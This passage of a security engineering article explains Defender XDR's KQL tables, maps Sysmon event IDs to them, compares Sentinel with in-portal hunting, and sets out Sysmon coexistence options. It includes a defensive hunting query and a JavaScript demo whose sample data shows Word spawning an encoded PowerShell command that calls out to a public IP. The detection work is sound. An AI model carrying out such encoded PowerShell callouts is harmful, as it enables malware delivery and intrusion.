&lt;p&gt;Every detection rule in Microsoft Defender XDR, every hunting query in Microsoft Sentinel, and every analyst pivot Maya does on her console is a KQL query against six load-bearing tables. Knowing those six tables is the price of admission to the Defender XDR field.&lt;/p&gt;

Microsoft&apos;s data-explorer query language, originally built for Azure Data Explorer (formerly Kusto). KQL reads as a pipeline of operators -- `where`, `project`, `summarize`, `join`, `order by` -- left to right. Advanced Hunting in Microsoft Defender XDR and analytics queries in Microsoft Sentinel both expose the same KQL dialect; the same query text can be moved between the two surfaces with only the table-name namespace changing [@advanced-hunting-overview][@sentinel-xdr-connector].
&lt;h3&gt;The six tables&lt;/h3&gt;
&lt;p&gt;The six tables that this article calls &quot;load-bearing&quot; are the ones that map most cleanly to Sysmon&apos;s manifest and that detection rules join against most often:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceProcessEvents&lt;/code&gt;&lt;/strong&gt; -- the canonical reader-side analogue of Sysmon&apos;s EID 1 (ProcessCreate) and EID 5 (ProcessTerminate). The schema reference page names roughly fifty columns including &lt;code&gt;Timestamp&lt;/code&gt;, &lt;code&gt;DeviceId&lt;/code&gt;, &lt;code&gt;DeviceName&lt;/code&gt;, &lt;code&gt;ActionType&lt;/code&gt;, &lt;code&gt;FileName&lt;/code&gt;, &lt;code&gt;FolderPath&lt;/code&gt;, &lt;code&gt;SHA1&lt;/code&gt;, &lt;code&gt;SHA256&lt;/code&gt;, &lt;code&gt;MD5&lt;/code&gt;, &lt;code&gt;FileSize&lt;/code&gt;, &lt;code&gt;ProcessId&lt;/code&gt;, &lt;code&gt;ProcessCommandLine&lt;/code&gt;, &lt;code&gt;ProcessIntegrityLevel&lt;/code&gt;, &lt;code&gt;ProcessTokenElevation&lt;/code&gt;, &lt;code&gt;ProcessCreationTime&lt;/code&gt;, &lt;code&gt;AccountSid&lt;/code&gt;, &lt;code&gt;AccountName&lt;/code&gt;, &lt;code&gt;AccountUpn&lt;/code&gt;, &lt;code&gt;LogonId&lt;/code&gt;, and the full &lt;code&gt;InitiatingProcess*&lt;/code&gt; family of parent-process columns [@deviceprocessevents-table].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceNetworkEvents&lt;/code&gt;&lt;/strong&gt; -- the analogue of Sysmon EID 3 (NetworkConnect) plus EID 22 (DNSEvent) and the MDE-only network-protection telemetry. Columns include &lt;code&gt;RemoteIP&lt;/code&gt;, &lt;code&gt;RemotePort&lt;/code&gt;, &lt;code&gt;RemoteUrl&lt;/code&gt;, &lt;code&gt;LocalIP&lt;/code&gt;, &lt;code&gt;LocalPort&lt;/code&gt;, &lt;code&gt;Protocol&lt;/code&gt;, &lt;code&gt;RemoteIPType&lt;/code&gt;, and the &lt;code&gt;InitiatingProcess*&lt;/code&gt; family [@sentinel-xdr-connector].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt;&lt;/strong&gt; -- the analogue of Sysmon EIDs 11 (FileCreate), 15 (FileCreateStreamHash), 23 (FileDelete archived), and 26 (FileDeleteDetected).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceImageLoadEvents&lt;/code&gt;&lt;/strong&gt; -- the analogue of Sysmon EID 7 (ImageLoad).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceRegistryEvents&lt;/code&gt;&lt;/strong&gt; -- the analogue of Sysmon EIDs 12-14 (RegistryEvent family).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DeviceEvents&lt;/code&gt;&lt;/strong&gt; -- the miscellaneous catch-all. &lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;AMSI&lt;/a&gt; scan results, exploit-protection events, ASR rule fires, Network Protection blocks, and other MDE-specific events that do not fit cleanly into any of the per-event-class tables surface here as &lt;code&gt;ActionType&lt;/code&gt; discriminators.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Past the six core tables there are siblings the article does not walk in detail but that detection engineers query alongside: &lt;code&gt;DeviceLogonEvents&lt;/code&gt; (interactive, remote-interactive, network logons), &lt;code&gt;DeviceFileCertificateInfo&lt;/code&gt; (Authenticode signer information), &lt;code&gt;DeviceInfo&lt;/code&gt; and &lt;code&gt;DeviceNetworkInfo&lt;/code&gt; (asset and posture). The cross-domain tables that the Defender XDR portal exposes -- &lt;code&gt;AlertInfo&lt;/code&gt;, &lt;code&gt;AlertEvidence&lt;/code&gt;, &lt;code&gt;IdentityLogonEvents&lt;/code&gt;, &lt;code&gt;EmailEvents&lt;/code&gt;, &lt;code&gt;CloudAppEvents&lt;/code&gt; -- are also queryable from the same surface, and the cross-domain join is one of the load-bearing reasons SOC teams move queries from a standalone SIEM into Advanced Hunting [@sentinel-xdr-connector].&lt;/p&gt;
&lt;h3&gt;Sysmon EID to MDE table cross-walk&lt;/h3&gt;
&lt;p&gt;The cross-walk is the table detection engineers actually need at their desk. Every row is a Sysmon EID, the MDE table the analogous event lands in, the &lt;code&gt;ActionType&lt;/code&gt; discriminator inside that table, and a fidelity rating relative to Sysmon&apos;s manifest -- because the MDE schema does &lt;em&gt;not&lt;/em&gt; surface every Sysmon field, and the fidelity gaps are where Hartong&apos;s MDE-augment config earns its keep.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Sysmon EID&lt;/th&gt;
&lt;th&gt;MDE table&lt;/th&gt;
&lt;th&gt;ActionType&lt;/th&gt;
&lt;th&gt;Fidelity vs Sysmon&lt;/th&gt;
&lt;th&gt;Hartong-augment disposition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1 ProcessCreate&lt;/td&gt;
&lt;td&gt;DeviceProcessEvents&lt;/td&gt;
&lt;td&gt;ProcessCreated&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop (MDE covers)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3 NetworkConnect&lt;/td&gt;
&lt;td&gt;DeviceNetworkEvents&lt;/td&gt;
&lt;td&gt;ConnectionSuccess&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7 ImageLoad&lt;/td&gt;
&lt;td&gt;DeviceImageLoadEvents&lt;/td&gt;
&lt;td&gt;ImageLoaded&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8 CreateRemoteThread&lt;/td&gt;
&lt;td&gt;DeviceEvents&lt;/td&gt;
&lt;td&gt;RemoteThreadCreated&lt;/td&gt;
&lt;td&gt;Truncated (no SourceImage hash)&lt;/td&gt;
&lt;td&gt;Keep verbose&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9 RawAccessRead&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Omitted&lt;/td&gt;
&lt;td&gt;Keep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 ProcessAccess&lt;/td&gt;
&lt;td&gt;DeviceEvents&lt;/td&gt;
&lt;td&gt;OpenProcessApiCall&lt;/td&gt;
&lt;td&gt;Truncated (no GrantedAccess mask)&lt;/td&gt;
&lt;td&gt;Keep verbose, narrow targets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11 FileCreate&lt;/td&gt;
&lt;td&gt;DeviceFileEvents&lt;/td&gt;
&lt;td&gt;FileCreated&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12-14 RegistryEvent&lt;/td&gt;
&lt;td&gt;DeviceRegistryEvents&lt;/td&gt;
&lt;td&gt;RegistryValueSet etc.&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17-18 PipeEvent&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Omitted&lt;/td&gt;
&lt;td&gt;Keep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19-21 WmiEvent&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Omitted&lt;/td&gt;
&lt;td&gt;Keep&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22 DNSEvent&lt;/td&gt;
&lt;td&gt;DeviceNetworkEvents&lt;/td&gt;
&lt;td&gt;DnsQuery&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23 FileDelete (archive)&lt;/td&gt;
&lt;td&gt;DeviceFileEvents&lt;/td&gt;
&lt;td&gt;FileDeleted&lt;/td&gt;
&lt;td&gt;Partial (no archive)&lt;/td&gt;
&lt;td&gt;Keep archive variant on selected paths&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26 FileDeleteDetected&lt;/td&gt;
&lt;td&gt;DeviceFileEvents&lt;/td&gt;
&lt;td&gt;FileDeleted&lt;/td&gt;
&lt;td&gt;Full&lt;/td&gt;
&lt;td&gt;Drop&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27 FileBlockExecutable&lt;/td&gt;
&lt;td&gt;(none)&lt;/td&gt;
&lt;td&gt;--&lt;/td&gt;
&lt;td&gt;Omitted (MDE has separate prevent surface)&lt;/td&gt;
&lt;td&gt;Keep if Sysmon is enforcing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The fidelity column is the operational answer to &quot;do I need Sysmon if I have MDE?&quot; Where MDE is &lt;em&gt;Full&lt;/em&gt;, Sysmon duplicates. Where MDE is &lt;em&gt;Truncated&lt;/em&gt;, Sysmon adds the fields MDE drops. Where MDE is &lt;em&gt;Omitted&lt;/em&gt;, Sysmon is the only collection mechanism in the host&apos;s telemetry surface. This is the cross-walk that Hartong&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; implements as XML rules.&lt;/p&gt;
&lt;h3&gt;The Kusto Hunt: PowerShell instances that called out within sixty seconds of spawn&lt;/h3&gt;
&lt;p&gt;The single most-frequently-cited hunting query in the Defender XDR field is some variation of the following. The query joins &lt;code&gt;DeviceProcessEvents&lt;/code&gt; to &lt;code&gt;DeviceNetworkEvents&lt;/code&gt; on &lt;code&gt;(DeviceId, InitiatingProcessId)&lt;/code&gt; and surfaces every PowerShell instance that opened an outbound network connection within sixty seconds of being spawned. This is the query that turns Maya&apos;s hunch (&quot;that base64-encoded command looks bad&quot;) into a SIEM-routable signal:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-kql&quot;&gt;// The Kusto Hunt: PowerShell instances that called out within
// 60s of process create, joined on (DeviceId, InitiatingProcessId).
DeviceProcessEvents
| where Timestamp &amp;gt; ago(24h)
| where FileName =~ &quot;powershell.exe&quot; or FileName =~ &quot;pwsh.exe&quot;
| project DeviceId, ProcessId, ProcessCreationTime = Timestamp,
          ParentImage = InitiatingProcessFileName,
          ParentCmd   = InitiatingProcessCommandLine,
          ProcessCmd  = ProcessCommandLine,
          User        = AccountUpn
| join kind=inner (
    DeviceNetworkEvents
    | where Timestamp &amp;gt; ago(24h)
    | where ActionType == &quot;ConnectionSuccess&quot;
    | project DeviceId, InitiatingProcessId, NetTime = Timestamp,
              RemoteIP, RemotePort, RemoteUrl
) on DeviceId, $left.ProcessId == $right.InitiatingProcessId
| where (NetTime - ProcessCreationTime) between (0s .. 60s)
| where RemoteIP !startswith &quot;10.&quot;
    and RemoteIP !startswith &quot;192.168.&quot;
    and not(RemoteIP matches regex &quot;^172\\.(1[6-9]|2[0-9]|3[0-1])\\.&quot;)
| project DeviceId, ProcessCreationTime, NetTime,
          ParentImage, ProcessCmd, RemoteIP, RemotePort, RemoteUrl, User
| order by NetTime desc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The query is twelve operative lines and exercises four of KQL&apos;s most useful primitives: &lt;code&gt;join&lt;/code&gt; (on a tuple key), &lt;code&gt;between&lt;/code&gt; (for time-window matching), &lt;code&gt;!startswith&lt;/code&gt; and the regex check (for RFC 1918 exclusion), and &lt;code&gt;project&lt;/code&gt; (for column shaping). The &lt;code&gt;between (0s .. 60s)&lt;/code&gt; is the crux. A legitimate PowerShell launched by a logon script may also produce a network connection within the same minute -- the filter is necessary but not sufficient. Adding &lt;code&gt;ParentImage in (&quot;winword.exe&quot;, &quot;excel.exe&quot;, &quot;outlook.exe&quot;)&lt;/code&gt; narrows the hunt to the Office-spawning-PowerShell pattern that fits the Emotet and Qbot families. Adding &lt;code&gt;RemoteUrl in (~CustomTI)&lt;/code&gt; narrows the hunt further to known-bad indicators from the tenant&apos;s threat-intelligence list.&lt;/p&gt;
&lt;p&gt;{`
// JavaScript that walks through the &lt;em&gt;logic&lt;/em&gt; of the KQL hunt.
// The actual query runs in Advanced Hunting; this runs in your browser
// so you can see the join semantics with a small synthetic dataset.&lt;/p&gt;
&lt;p&gt;const processEvents = [
  { DeviceId: &quot;D1&quot;, ProcessId: 7700, Timestamp: 100,
    FileName: &quot;powershell.exe&quot;,
    InitiatingProcessFileName: &quot;WINWORD.EXE&quot;,
    ProcessCommandLine: &quot;powershell.exe -enc JABzAD0A...&quot; },
  { DeviceId: &quot;D2&quot;, ProcessId: 4422, Timestamp: 200,
    FileName: &quot;powershell.exe&quot;,
    InitiatingProcessFileName: &quot;explorer.exe&quot;,
    ProcessCommandLine: &quot;powershell.exe -Help&quot; },
];&lt;/p&gt;
&lt;p&gt;const networkEvents = [
  { DeviceId: &quot;D1&quot;, InitiatingProcessId: 7700, Timestamp: 130,
    ActionType: &quot;ConnectionSuccess&quot;,
    RemoteIP: &quot;185.243.115.84&quot;, RemotePort: 443 },
  { DeviceId: &quot;D2&quot;, InitiatingProcessId: 4422, Timestamp: 215,
    ActionType: &quot;ConnectionSuccess&quot;,
    RemoteIP: &quot;10.0.0.5&quot;, RemotePort: 443 },
];&lt;/p&gt;
&lt;p&gt;function isPrivate(ip) {
  return ip.startsWith(&quot;10.&quot;)
      || ip.startsWith(&quot;192.168.&quot;)
      || /^172\.(1[6-9]|2[0-9]|3[0-1])\./.test(ip);
}&lt;/p&gt;
&lt;p&gt;const hits = [];
for (const p of processEvents) {
  if (!/^powershell\.exe$|^pwsh\.exe$/i.test(p.FileName)) continue;
  for (const n of networkEvents) {
    if (n.DeviceId !== p.DeviceId) continue;
    if (n.InitiatingProcessId !== p.ProcessId) continue;
    if (n.ActionType !== &quot;ConnectionSuccess&quot;) continue;
    const dt = n.Timestamp - p.Timestamp;
    if (dt &amp;lt; 0 || dt &amp;gt; 60) continue;
    if (isPrivate(n.RemoteIP)) continue;
    hits.push({ DeviceId: p.DeviceId,
                Parent:   p.InitiatingProcessFileName,
                Cmd:      p.ProcessCommandLine,
                RemoteIP: n.RemoteIP,
                Latency:  dt + &quot;s&quot; });
  }
}&lt;/p&gt;
&lt;p&gt;console.log(JSON.stringify(hits, null, 2));
// Expected output: one hit on D1 (WINWORD-spawned powershell to public IP);
// D2 is filtered out (RemoteIP is RFC 1918 private).
`}&lt;/p&gt;
&lt;p&gt;The semantic of the KQL is the semantic of the JavaScript: a relational join on a composite key, filtered by a time-window predicate and a network-class predicate. The KQL query is shorter and faster; the JavaScript is what the join is actually doing. Once a reader internalizes this pattern, the rest of the Advanced Hunting surface unfolds from it -- every other detection in the field is a variant of &quot;join &lt;code&gt;Device*&lt;/code&gt; table A to &lt;code&gt;Device*&lt;/code&gt; table B on &lt;code&gt;(DeviceId, InitiatingProcessId)&lt;/code&gt;, filter by time and content.&quot;Advanced Hunting per-query quotas are 100,000 rows of returned data and 10 minutes of execution time per call [@advanced-hunting-overview]. The practical workaround for queries that exceed either limit is to pre-filter with a tighter time window (&lt;code&gt;Timestamp &amp;gt; ago(1h)&lt;/code&gt; instead of &lt;code&gt;ago(24h)&lt;/code&gt;), or to push the heavy aggregation into a Sentinel scheduled analytics rule that runs every hour and materializes the result table for further hunting.&lt;/p&gt;
&lt;p&gt;The same query, the same columns, the same six tables surface in two different places: the Defender XDR portal itself (at &lt;code&gt;security.microsoft.com&lt;/code&gt; legacy or &lt;code&gt;defender.microsoft.com&lt;/code&gt; current), and inside Microsoft Sentinel via the Defender XDR connector. The two surfaces are not the same.&lt;/p&gt;
&lt;h2&gt;9. The Microsoft Sentinel Integration Model&lt;/h2&gt;
&lt;p&gt;The same KQL query runs in two different places, but the &lt;em&gt;economics&lt;/em&gt; of the two places are not the same, and that distinction is the one that catches detection engineers off guard. In-portal Advanced Hunting and Microsoft Sentinel both expose the same &lt;code&gt;Device*&lt;/code&gt; tables. They do not expose them with the same retention, the same join surface, or the same cost.&lt;/p&gt;
&lt;h3&gt;The connector contract&lt;/h3&gt;
&lt;p&gt;Microsoft Sentinel&apos;s &lt;strong&gt;Defender XDR connector&lt;/strong&gt; (the post-Ignite-2023 successor to the legacy Microsoft 365 Defender connector) streams Microsoft Defender XDR incidents, alerts, and Advanced Hunting events into Sentinel&apos;s Log Analytics workspace. Microsoft Learn&apos;s verbatim definition is: &quot;&lt;em&gt;The Defender XDR connector allows you to stream all Microsoft Defender XDR incidents, alerts, and advanced hunting events into Microsoft Sentinel and keeps incidents synchronized between both portals&lt;/em&gt;&quot; [@sentinel-xdr-connector]. The connector exposes per-table streaming, meaning the operator picks which &lt;code&gt;Device*&lt;/code&gt; tables to bring into Sentinel and pays per-GB ingestion only on those tables.&lt;/p&gt;
&lt;p&gt;The connector also handles the legacy-connector transition: when enabled, &quot;&lt;em&gt;any Microsoft Defender components&apos; connectors that were previously connected are automatically disconnected in the background&lt;/em&gt;&quot; [@sentinel-xdr-connector]. If a tenant was using the legacy Microsoft Defender ATP connector or per-product Defender connectors, those get retired when the unified Defender XDR connector takes over. This is the cleanup detail that catches teams off guard during the migration -- they expect both connectors to coexist for the transition window, and they do not.&lt;/p&gt;
&lt;h3&gt;Three asymmetries&lt;/h3&gt;
&lt;p&gt;The in-portal Advanced Hunting surface and the Sentinel surface differ on three practitioner-level axes:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Dimension&lt;/th&gt;
&lt;th&gt;In-portal Advanced Hunting&lt;/th&gt;
&lt;th&gt;Sentinel + Defender XDR connector&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Retention&lt;/td&gt;
&lt;td&gt;30 days of raw data per query [@advanced-hunting-overview]&lt;/td&gt;
&lt;td&gt;Configurable per-workspace, up to 12 years archive [@sentinel-xdr-connector][@ms-log-analytics-archive]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Query surface&lt;/td&gt;
&lt;td&gt;Six core &lt;code&gt;Device*&lt;/code&gt; tables plus cross-domain &lt;code&gt;AlertInfo&lt;/code&gt; / &lt;code&gt;EmailEvents&lt;/code&gt; / &lt;code&gt;IdentityLogonEvents&lt;/code&gt; / &lt;code&gt;CloudAppEvents&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Six core &lt;code&gt;Device*&lt;/code&gt; tables (per-table selection) plus the entire Log Analytics workspace -- third-party logs, custom tables, ASIM-normalized data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cost&lt;/td&gt;
&lt;td&gt;Included with MDE Plan 2 license&lt;/td&gt;
&lt;td&gt;Per-GB Sentinel ingestion (current GA tier) plus per-GB archive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Detection authoring&lt;/td&gt;
&lt;td&gt;Custom detection rules; in-portal advanced-hunting-to-alert promotion&lt;/td&gt;
&lt;td&gt;Scheduled analytics rules; SOAR playbook triggers; automation rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-tenant hunting&lt;/td&gt;
&lt;td&gt;Tenant-bound only&lt;/td&gt;
&lt;td&gt;Possible via Lighthouse / Sentinel Workspaces aggregation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Live response triggers&lt;/td&gt;
&lt;td&gt;In-portal action surface&lt;/td&gt;
&lt;td&gt;Via Logic Apps / Defender API connector&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The in-portal economics are predictable: the queries are included with the license, the retention is uniform at thirty days, the surface is the six tables plus the cross-domain entity catalogue. The Sentinel economics are flexible but billable: longer retention, more table coverage, more automation, all of which carry per-GB ingestion charges. The choice is operational: which queries does the team need to run on data older than thirty days?&lt;/p&gt;
&lt;h3&gt;When each surface is the right one&lt;/h3&gt;
&lt;p&gt;For the SOC-analyst-driven, real-time threat-hunting workflow that §1 modeled with Maya -- thirty days back, six tables, cross-domain join into &lt;code&gt;AlertInfo&lt;/code&gt; -- the in-portal Advanced Hunting surface is the obvious fit. For the longer-retention, multi-source, automated-analytic-rule workflow -- where detection engineers want a scheduled rule that joins &lt;code&gt;DeviceProcessEvents&lt;/code&gt; to a third-party identity log on a normalized schema -- the Sentinel surface is the obvious fit.&lt;/p&gt;
&lt;p&gt;The two surfaces are not exclusive. The most-cited operational pattern in 2026 is to keep the in-portal surface as the SOC-analyst hunting console (retention 30 days, no cost) and to run the Defender XDR connector into Sentinel for the subset of tables the team needs longer retention or analytics-rule scheduling on. Per-table selection keeps the per-GB ingestion bill predictable.The Sentinel connector preserves table names but namespaces them inside the Log Analytics workspace; &lt;code&gt;DeviceProcessEvents&lt;/code&gt; in Sentinel is the same shape as &lt;code&gt;DeviceProcessEvents&lt;/code&gt; in the Defender XDR portal, and most queries port between the two surfaces unchanged. Some columns are renamed at the connector boundary -- the most common gotcha is the time-zone and timestamp representation -- but the join semantics and the cross-walk to Sysmon EIDs do not change.&lt;/p&gt;
&lt;h3&gt;The portal-URL transition&lt;/h3&gt;
&lt;p&gt;A small operational detail worth naming: the Defender XDR portal lives at both &lt;code&gt;security.microsoft.com&lt;/code&gt; (legacy, still functional) and &lt;code&gt;defender.microsoft.com&lt;/code&gt; (current). The new URL was announced as part of the Microsoft 365 Defender to Microsoft Defender XDR rebrand at Ignite 2023 [@defender-xdr-ms-learn][@ms-ignite-2023-blog]. The rebrand changed neither the KQL substrate nor the &lt;code&gt;Device*&lt;/code&gt; schema; queries written against the legacy URL behave identically against the new URL. This is the disambiguation §1 alluded to in its layer-7 description: the same KQL query, the same tables, against either URL.&lt;/p&gt;
&lt;p&gt;Two query surfaces, six tables, twenty-nine Sysmon EIDs, and one operational question every SOC manager has asked at least once: &lt;em&gt;do we deploy Sysmon alongside Defender for Endpoint, or trust Defender alone?&lt;/em&gt; That is §10.&lt;/p&gt;
&lt;h2&gt;10. Sysmon Plus MDE: Three Coexistence Patterns&lt;/h2&gt;
&lt;p&gt;This is the operational question of the article. The community has converged on three answers, and one of them is wrong for almost every MDE-licensed environment. The three options, in order of increasing complexity and -- in most enterprise contexts -- decreasing prevalence:&lt;/p&gt;
&lt;h3&gt;Option A: Sysmon only, no MDE&lt;/h3&gt;
&lt;p&gt;Used in air-gapped environments, unlicensed environments, and regulatory contexts that prohibit cloud-side telemetry. Sysmon on its own produces a complete event stream into the local Windows event log, which a downstream collector (Windows Event Forwarding to a central collector, Splunk&apos;s Universal Forwarder, Wazuh&apos;s Windows agent, the Elastic Endpoint integration) picks up and ships to a customer-controlled SIEM. The trade-off: no cross-tenant correlation, no cloud-side threat-intelligence join, no &lt;code&gt;EtwTi&lt;/code&gt; (kernel security ETW provider) consumption, no Microsoft-authored detection rules. The customer owns every rule themselves.&lt;/p&gt;
&lt;p&gt;This is the right answer in a small set of contexts and the wrong answer in the licensed-enterprise context where MDE is already deployed.&lt;/p&gt;
&lt;h3&gt;Option B: MDE only, no Sysmon&lt;/h3&gt;
&lt;p&gt;The Microsoft-recommended baseline for licensed environments. MDE&apos;s &lt;code&gt;Device*&lt;/code&gt; schema covers the high-value Sysmon EID surface -- 1, 3, 7, 10, 11, 12-14 -- at full or near-full fidelity, and MDE adds the layers Sysmon does not have: cloud-side correlation, cross-domain joins (email, identity, cloud apps), Microsoft-authored built-in detection rules with continuous tuning, the &lt;code&gt;AlertInfo&lt;/code&gt;/&lt;code&gt;AlertEvidence&lt;/code&gt; evidence graph, and the SOC-actionable surface (device isolation, live response, automated investigation) [@mde-ms-learn][@ms-mitre-2024-blog].&lt;/p&gt;
&lt;p&gt;For most MDE-Plan-2-licensed organizations without a mature detection-engineering team, Option B is the right baseline. The trade-off is that the truncations and omissions in the &lt;code&gt;Device*&lt;/code&gt; schema -- the &lt;code&gt;ProcessAccess&lt;/code&gt; GrantedAccess mask Sysmon EID 10 surfaces verbatim that MDE drops, the WMI consumer expressions Sysmon EIDs 19-21 capture that MDE does not surface, the RawAccessRead and PipeEvent classes Sysmon captures that MDE omits entirely -- are not available to the team&apos;s custom hunting queries. For an organization without the engineering capacity to build hunting rules on those verbose surfaces, this is rarely a binding constraint.&lt;/p&gt;
&lt;h3&gt;Option C: MDE plus tuned Sysmon (Hartong&apos;s MDE-augment)&lt;/h3&gt;
&lt;p&gt;The detection-engineering-community pattern. Run MDE as the primary EDR. Run Sysmon alongside it with &lt;code&gt;olafhartong/sysmon-modular&lt;/code&gt;&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt; configuration, whose explicit README design intent is &quot;&lt;em&gt;intended to augment the information and have as little overlap as possible&lt;/em&gt;&quot; with MDE [@github-hartong-modular]. The augment config drops the EIDs MDE covers cleanly (1, 3, 7, 11, 12-14, 22) and keeps the EIDs MDE truncates or omits (8 with full SourceImage, 9 RawAccessRead, 10 with full GrantedAccess mask, 15 FileCreateStreamHash, 17-18 PipeEvent, 19-21 WmiEvent, 23 with archive variant on narrowly-scoped paths). The result is a Sysmon event-log stream that is purpose-built to complement MDE&apos;s Kusto stream, not duplicate it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; If you are an MDE-licensed shop with a detection-engineering team and you are &lt;em&gt;not&lt;/em&gt; running Hartong&apos;s &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt;, you are paying for two EDRs and getting the coverage of one. The augment config was purpose-built to make Sysmon&apos;s verbose-field surface complementary to MDE&apos;s cloud-correlation surface, not a duplicate. Standalone Sysmon next to MDE without the augment-specific exclusions is the worst of both worlds: double telemetry volume, double licensing exposure, and no incremental detection coverage.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Cost and operational complexity&lt;/h3&gt;
&lt;p&gt;The three options have different operational profiles. The summary table:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Pattern&lt;/th&gt;
&lt;th&gt;License posture&lt;/th&gt;
&lt;th&gt;Telemetry volume&lt;/th&gt;
&lt;th&gt;Operational complexity&lt;/th&gt;
&lt;th&gt;Best used for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;A. Sysmon only&lt;/td&gt;
&lt;td&gt;None (free)&lt;/td&gt;
&lt;td&gt;Medium (depends on config)&lt;/td&gt;
&lt;td&gt;Low (one product, one config)&lt;/td&gt;
&lt;td&gt;Air-gapped, regulatory-no-cloud, unlicensed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;B. MDE only&lt;/td&gt;
&lt;td&gt;MDE Plan 1 or Plan 2&lt;/td&gt;
&lt;td&gt;Cloud-controlled (no per-host volume bill)&lt;/td&gt;
&lt;td&gt;Low (one product, Microsoft-managed)&lt;/td&gt;
&lt;td&gt;Most MDE-licensed orgs without detection-engineering team&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;C. MDE + Hartong augment&lt;/td&gt;
&lt;td&gt;MDE Plan 2 + WEF or SIEM&lt;/td&gt;
&lt;td&gt;High on Sysmon side (verbose EIDs); low on MDE side&lt;/td&gt;
&lt;td&gt;High (two products, modular config, WEF or SIEM forwarder)&lt;/td&gt;
&lt;td&gt;Detection-engineering-mature SOCs&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A small operational caution: standalone Sysmon next to MDE without the augment-specific exclusions is the worst of three worlds. The drivers coexist fine at different Filter Manager altitudes, but the event log and downstream collector now carry every Sysmon EID the default config emits plus everything MDE collects on the cloud side. The double-pay problem the KeyIdea calls out is not theoretical; it shows up the first month a SOC team forgets to swap the default &lt;code&gt;sysmonconfig.xml&lt;/code&gt; for &lt;code&gt;sysmonconfig-mde-augment.xml&lt;/code&gt;.&lt;/p&gt;
